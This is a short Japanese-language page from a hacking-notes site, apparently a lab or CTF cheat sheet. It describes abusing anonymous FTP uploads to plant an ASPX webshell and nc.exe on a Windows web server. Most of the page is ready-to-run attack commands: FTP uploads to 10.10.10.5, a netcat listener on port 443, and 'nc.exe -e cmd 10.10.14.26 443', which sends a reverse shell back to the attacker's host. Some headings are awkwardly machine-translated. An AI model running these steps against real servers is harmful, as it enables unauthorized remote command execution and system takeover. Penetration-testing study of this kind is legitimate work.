> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/ports-and-services/ftp-21/ftp-reverse-shell-webshell-attack.md).
# FTP - リバースシェルとWebシェル攻撃
ASPX Webシェルとnc.exeリバースシェルを使ったFTPファイルアップロードの悪用。
## **FTPアップロードによるリバースシェル**
### **ASPX Webシェルをアップロードする**
既存のWebシェルを使用する、 **`cmd.aspx`**、SecListsから:
```bash
cmd.aspxを探す
cp /usr/share/davtest/backdoors/aspx_cmd.aspx .
```
FTPサーバーにアップロードする:
```bash
ftp 10.10.10.5
anonymous
put aspx_cmd.aspx
```
HTTPサーバー経由でWebシェルにアクセスし、たとえば次のようにコマンドを実行する:
```bash
ipconfig
```
### **次をアップロードする `nc.exe` リバースシェル用のバイナリ**
ダウンロード **`nc.exe`** SecListsから:
```bash
nc.exe を見つける
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .
```
FTPサーバーにアップロードする:
```bash
ftp 10.10.10.5
anonymous
put nc.exe
```
Webシェルから、次を探す **`nc.exe`** ターゲットサーバー上で:
```powershell
dir /s C:/nc.exe
```
### **リバースシェルを準備する**
**ポート443で待ち受ける:**
次を準備する `nc` ポート443のリスナー：
```bash
rlwrap nc -nvlp 443
```
ターゲットマシンから、Webシェル経由で次のコマンドを実行する:
```powershell
C:/inetpub/wwwroot/nc.exe -e cmd 10.10.14.26 443
```
---
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